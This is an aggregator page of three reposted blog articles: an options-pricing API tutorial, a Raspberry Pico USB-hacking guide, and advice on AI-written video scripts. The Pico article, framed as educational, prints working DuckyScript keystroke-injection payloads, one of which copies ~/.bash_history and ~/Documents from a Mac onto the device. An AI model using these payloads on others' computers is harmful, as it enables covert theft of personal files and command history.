DAILY NEWS

Stay Ahead, Stay Informed – Every Day

Advertisement
How to Price Options at the Institutional Level Using AI (PINNs) and Python



If you work or study the derivatives market, you know that speed and accuracy in calculating options prices are not just technical goals — they are competitive differentiators. Traditionally, we rely on the Black-Scholes model or Monte Carlo simulations structured in legacy code to approximate the fair price of a contract. However, when we need to scale these calculations to thousands of simultaneous requests or handle complex boundary conditions, processing bottlenecks appear. This is where the fusion between Artificial Intelligence and Financial Physics comes in: PINNs (Physics-Informed Neural Networks). In this article, I will show you how to consume an institutional-grade infrastructure based on physics-informed neural networks to price options in milliseconds using Python. What are PINNs and why do they matter in finance?Unlike traditional neural networks that need billions of historical data to “learn” a trend (and that often fail when trying to extrapolate), PINNs integrate mathematical laws directly into their loss function. mathematical hallucinations and we achieve absurdly fast inference power, ideal for high-frequency systems (HFT) and real-time risk management. Hands-on: Consuming PINN Master in PythonTo avoid having to assemble, train and host a cluster of GPUs to run this network from scratch, we will use PINN Master – Institutional Option Pricing, a robust API hosted in AZURE that exposes this model ready for production. Best of all? It has a 100% free tier for testing. Step 1: Get your credentialsBefore running the script, you just need to access the official PINN Master page on RapidAPI and subscribe to the free plan to release your access token. If you have any questions about getting started, there is a very simple to follow Official PINN Master Startup Tutorial. Step 2: The CodeWith your key in hand, use the code below to make a call to price a call: import requests # High performance API endpoint url = “https://pinn-master-institutional-option-pricing.p.rapidapi.com/v1/price” # Contract pricing parameters querystring = { “spot”: “100.0”, # Current price of the underlying asset “strike”: “100.0”, # Option strike price “volatility”: “0.20”, # Implied volatility (20%) “rate”: “0.05”, # Risk-free interest rate (5%) “maturity”: “1.0”, # Time to expiration (1 year) “type”: “call” # Contract type: call or put } headers = { “X-RapidAPI-Key”: “YOUR_FREE_CHAVE_AQUI”, “X-RapidAPI-Host”: “pinn-master-institutional-option-pricing.p.rapidapi.com” } try: response = requests.get(url, headers=headers, params=querystring) response.raise_for_status() dados_precificacao = response.json() print(“— PINN Master Invocation Result —“) print(dados_precificacao) except requests.exceptions.RequestException as e: print(f”Error connecting to quant infrastructure: {e}”) Enter fullscreen mode Exit fullscreen mode Why is this approach a game changer? Predictable Latency: By transferring the complexity of the mathematical calculation to an optimized neural network inference in the cloud, you gain homogeneous response time. Infrastructure Abstraction: The entire scalability architecture in AZURE is hidden behind a clean GET method. Easy Integration: You can plug this return directly into trading dashboards, dynamic spreadsheets or order execution bots.



Source link

Hacking with Raspberry Pico: Terminal Text Injection and File Stealing



The Raspberry Pico is a small form factor microcontroller used in several application areas: DIY sensor capture, controlling screens, and even for hacking. With full access to its USB stack via MicroPython/CircuitPython and an additional library, the Pico can be programmed as a physical hacking device. It will act as an USB HID or storage device, but inject keystrokes into the host system.

In my previous article USB Hacking Device Programming, I showed how to setup the Pico and run an example exploit script: opening a text editor on a Linux computer and write a text message. Working on this project, I realized that the script is written in DuckyScript. The curiosity about this language, understanding its capabilities and the exploits that can be implemented, led me to investigate it further and write a concise language introduction.

And in this final article, practical exploits are developed. The exploits use the pico-ducky library, an interpreter for DuckyScript.

This article is for educational purposes only. Only use computers and devices that you own, and be mindful that they can be damaged.

The technical context for this article is CircuitPython v9.1.4 and pico-ducky commit #221e796. The examples should work with newer releases too, but might require some code changes.

This article originally appeared at my blog admantium.com.

Exploit 1: Terminal Text Injection

The goal of the first exploit is to scare the user by opening a text terminal. Instead of just blind injecting the keystrokes, it will delay its execution, and assure that no special keys are activated – as an attempt to gauge that the user is not present

Requirements

Waiting for a fixed amount of time
Wait that no LED keys are pressed on the host
Open a new terminal
Inject a message

Learnings and Limitations

During implementation of this exploit, I learned the following:

A global variable cannot be used as an argument to the DELAY function
The commands to generate random characters and numbers, like RANDOM_NUMBER, are not supported
The WAIT_FOR_CAPS_OFF and similar commands are not processed, the script execution just continues
The HOLD and RELEASE commands work as normal keystrokes only
Inserting a not supported command at the end of the script stops the script execution – my choice is simple a STOPP on the last line

Implementation

With these limitations, the exploit will merely wait for a fixed amount of time, and then execute once. As a bonus, a function is added that prints a . on the screen with a fixed delay.

REM Target: OsX
REM Exploit: open text editor and write a message

FUNCTION SCARE()
STRING Hello World!
VAR $TIMER = 10
WHILE ($TIMER > 0)
STRING .
$TIMER = ($TIMER – 1)
DELAY 500
END_WHILE
END_FUNCTION

DELAY 5000
GUI SPACE
DELAY 1000
STRING Terminal.app
DELAY 1000
ENTER
DELAY 1500
SCARE()
STOP

Enter fullscreen mode

Exit fullscreen mode

Exploit 2: File Stealing

The second exploit is built around the feature that the Pico itself can function as an USB device on the host. When inserted, it will act as both a HID and USB storage device. It will then use the hosts native scripting language to identify the home directory of its user, fetch known files, and copy them to itself.

Requirements

Connect the device as HID and storage
Wait a fixed amount of time
Start a series of bash commands:

Open a terminal
Determine the likely mount path of the Pico
Access the host user document folder
Search and copy known file names

Disconnect the USB device or hide the copied files

Learnings and Limitations

Several more limitations became apparent during working on this sketch:

The Pico W defaults to HID only mode. To turn it into an USB device, you need to modify the Pico ducky code. In boot.py and code.py, change all conditional checks for the Raspberry Pico W to a False value, e.g. replacing raspberry_pi_pico_w with raspberry_pi_pico. Note that this will disable the WIFI hotspot too.
There is no support for the ATTACK_MODE configuration, you cannot dynamically switch between HID only and USB storage mode, and therefore not disconnect the USB drive with a script. However, you could modify the libraries source code so that after the script execution, the function call storage.disable_usb_drive() is executed.
When chaining multiple bash commands together, which will take some execution time, using DELAY become a mandatory command
You cannot use the STRINGLN command
You need to customize the keyboard layout to match the target computers layout, see Changing Keyboard Layouts in the official documentation

Implementation

The following implementation assumes that the Pico device will get the /dev/disk2 device file. Without the option to disable USB storage, the Pico will connect and stay connected – but the files are copied nevertheless.

REM Target: OsX
REM Exploit: Copy well known files from the user home directory

GUI SPACE
DELAY 1000
STRING iterm.app
ENTER
DELAY 1500
ENTER
STRING export TARGET_PATH=$(df -h| grep /dev/disk2| sed -e ‘s/.*\(\/Volumes\/.*\)/\1/’)
DELAY 1500
ENTER
STRING cp ~/.bash_history $TARGET_PATH
DELAY 1500
ENTER
STRING cp -rv ~/Documents $TARGET_PATH/docs
DELAY 1500
ENTER
STOPP

Enter fullscreen mode

Exit fullscreen mode

Conclusion

The Raspberry Pico W can be turned into a physical hacking device with the help of the pico ducky library. This article showed how to implement two exploits: a) scare the user by injecting text into a terminal, b) connect as an USB storage and HID device, then copy well known user files. During implementation, it became apparent that not all DuckyScript commands are supported, which limits the features of exploits. The best approach therefore is to check the duckyinpython.py file for all keywords that are supported, and build an exploit around this. But despite this: Turning the very affordable Raspberry Pico into a prototype hacking device is a great educational experience.



Source link

AI Video Scripts That Actually Convert: The Workflow Top Creators Use



Your AI is writing scripts that rank nowhere because it’s optimizing for grammatical perfection instead of viewer retention. Here’s how top creators are actually using models to generate 10x more content without sounding robotic.

I’ve watched creators spend $500/month on AI tools and still post videos that flatline at 200 views. The problem isn’t the tools. It’s how they’re prompting them.

Most creators copy-paste a generic prompt like “write a YouTube script about (topic)” and wonder why the output sounds like a corporate press release. Meanwhile, a small group of creators is generating 15–20 scripts per week, maintaining 65%+ average view duration, and doing it with a workflow most people aren’t discussing publicly.

The Script Generation Trap: Why AI-Written Videos Feel Soulless

YouTube data from creator briefings and retention analytics from channels like Think Media and MKBHD shows that average view duration drops roughly 23% when the first 30 seconds feel scripted and impersonal.

That number should concern you.

The trap works like this: you ask an AI to write a script, it produces something grammatically flawless, topically accurate, and completely devoid of personality. It starts with “In this video, we’re going to explore…” and your viewer’s thumb is already moving.

The problem is structural. Most AI models optimize for coherence and completeness—great for research reports, terrible for video hooks.

Here’s what happened: Marcus, who runs a 180K subscriber personal finance channel, switched to pure AI scripts last year. His click-through rate held at 8.2%, but average view duration collapsed from 54% to 31% in six weeks. Viewers clicked, heard the robotic cadence in the first 10 seconds, and left. CTR is vanity. Retention is revenue.

The fix isn’t abandoning AI. It’s training the model on how you think, not just what you want to say.

The Personality Injection Framework: Embedding Your Voice Without Manual Rewrites

Top creators scaling production aren’t using different tools. They’re using a three-layer prompting system called Voice DNA.

Layer 1: The Sample Bank

Before generating any script, feed the model 5–7 transcript excerpts from your best-performing videos—specifically moments that got the most comments or timestamps in comments. You’re not asking the AI to copy these. You’re establishing a behavioral reference.

Here’s the prompt structure:

“The following are excerpts from my highest-retention videos. Analyze the sentence length patterns, the way I transition between ideas, the specific types of analogies I use, and my cadence when making key points. (PASTE TRANSCRIPTS). Now write a script about (TOPIC) that maintains these structural patterns while covering these beats: (BEATS).”

The difference is immediate. Priya, who runs a 90K subscriber productivity tools channel, tested identical topics with and without the sample bank layer. Scripts with her Voice DNA prompt averaged 61% view duration. Without it: 38%.

Layer 2: The Contrarian Flag

Your best videos almost certainly contain a moment where you said something surprising. The comment section lights up. These moments are algorithmically valuable because they trigger emotional engagement.

Add this to every prompt: “Include one counterintuitive claim in the first 90 seconds that challenges conventional wisdom about (TOPIC). This should feel like something I personally discovered, not a generic hot take.”

Being mildly controversial is far less damaging than being forgettable.

Layer 3: The Unfinished Sentence Technique

Instruct the AI to leave 3–4 moments marked as (YOUR RIFF HERE). These are 10-second gaps where you insert something spontaneous when recording.

This breaks the robotic cadence pattern that both algorithms and human ears detect, while preserving the authentic improvisation that longtime viewers expect. The script becomes scaffolding, not a cage.

Platform-Specific Optimization: Structure That Actually Performs

A script that works on YouTube long-form will kill your TikTok account.

YouTube Long-Form (8–20 minutes)

The structure that’s performing now is the Problem-Proof-System loop. Open with a specific problem (“I was spending 4 hours per week editing” beats “editing is time-consuming”). Provide proof you’ve solved it (a number, result, or screenshot). Deliver the system in 90-second chunks.

Key prompt addition: “Structure each section to end with a forward-looking sentence implying the next section is necessary.” This creates the binge effect.

Channels doing this well—Matteo French on productivity, Ali Abdaal’s team on study techniques—see 55–70% average view duration on videos over 12 minutes.

YouTube Shorts and TikTok (Under 60 seconds)

These reward pattern interrupts, not information delivery: Unexpected hook (0–3s) → Bold claim (3–8s) → Fastest proof (8–25s) → Restatement with twist (25–45s) → CTA that feels like a new story (45–60s).

For short-form, add: “The script should feel unfinished, like I’m sharing a discovery I just made, not teaching a lesson I’ve known for years.”

Instagram Reels (The Hybrid)

Reels viewers tolerate more structure than TikTok but have less patience than YouTube Shorts. Use: 3-second visual hook, one bold sentence that works on mute (60% of Reels are watched muted initially), and a comment-bait ending.

Prompt your AI: “End with a question that has no obvious right answer but every viewer has an opinion on.”

Real Workflow: The Tool Stack Top Creators Use

Step 1: Claude for Structure

Claude (3.5 or later) handles structural architecture better than other models because it maintains longer contextual coherence. When building 15-minute scripts with multiple segments, it doesn’t lose the thread.

Use Claude for macro-level outline, transition logic, and argument structure. Feed it your Voice DNA samples first. Expect 2–3 iterations on structure.

Step 2: Custom GPT or Fine-Tuned Model for Tone

This is where personality lives and where most creators skip. Build a custom GPT trained on your transcript library. It handles sentence-level tone adjustments—how you phrase things, your filler-word patterns, your joke structure.

Workflow: get structure from Claude, paste into your custom GPT with: “Rewrite this in my voice, maintaining all structural beats.” This two-model workflow adds 8 minutes and produces noticeably more authentic output.

Step 3: Multimodal Validation

Run the script through text-to-speech (ElevenLabs with voice clone or native TikTok reader) before recording. Listen for moments that sound wrong—these are your (YOUR RIFF HERE) markers.

One 400K tech channel creator said this step cut re-record rate from 40% to under 10%.

Time breakdown: Full workflow—Voice DNA prompt, Claude structure, custom GPT tone pass, validation—takes 35–45 minutes per script. Manual scripting typically takes 2–3 hours. You’re faster with a higher quality floor.

Avoiding the Detection Penalty: What YouTube Actually Cares About

YouTube isn’t uniformly penalizing AI-generated content. They’re penalizing low-effort, undifferentiated content—and AI scripts are the fastest way to produce that at scale.

YouTube tracks “satisfaction signals”: comment sentiment, share rate, full vs. partial view ratio, and subscription conversions after watching. AI-generated scripts tend to produce low share rates and near-zero subscribe conversions because they don’t create the parasocial connection that drives growth.

The signal YouTube reads: if 1,000 people watch and none subscribe, the algorithm infers that while the title/thumbnail worked, the content didn’t create lasting interest. Distribution gets throttled accordingly.

Your AI scripts need moments that feel unreplicable—specific personal details, real numbers, opinions clearly yours. These aren’t decoration. They’re conversion events.

Add this to every prompt: “At three points, flag a (PERSONAL INSERT) marker where I should add a specific detail, anecdote, or real data point from my own experience. Place these at moments of highest emotional or logical weight.”

This also addresses detection tool concerns. Services like Originality.ai are used by brand partners and MCNs. Make your content genuinely personal, not just structurally varied.

Winning creators treat the model as a research assistant and structural partner, not a ghostwriter. They’re in the video. Their opinions are in the video. The AI helped them get there faster.

Action This Week

Don’t overhaul your entire workflow. Do this instead:

Take your three best-performing videos (by average view duration), run them through transcription (Descript or Otter.ai), and save transcripts in one document. That’s your Voice DNA sample bank.

Next time you generate a script, start with: “Here are transcripts from my three highest-retention videos. Before writing anything, identify five specific patterns: sentence length, transition style, analogy type, question placement, and emotional cadence. Then use those patterns for a script about (TOPIC).”

Run that prompt once. Compare the output to what you’ve been getting.

The money on the table isn’t views. It’s the compounding effect of a 20-percentage-point improvement in average view duration, applied across 52 weeks of content. That’s the gap between a channel that stagnates at 50K subscribers and one that hits 500K.

Your voice is the asset. AI is the production infrastructure. Understanding that distinction separates creators building something lasting.

Follow for more practical AI and productivity content.



Source link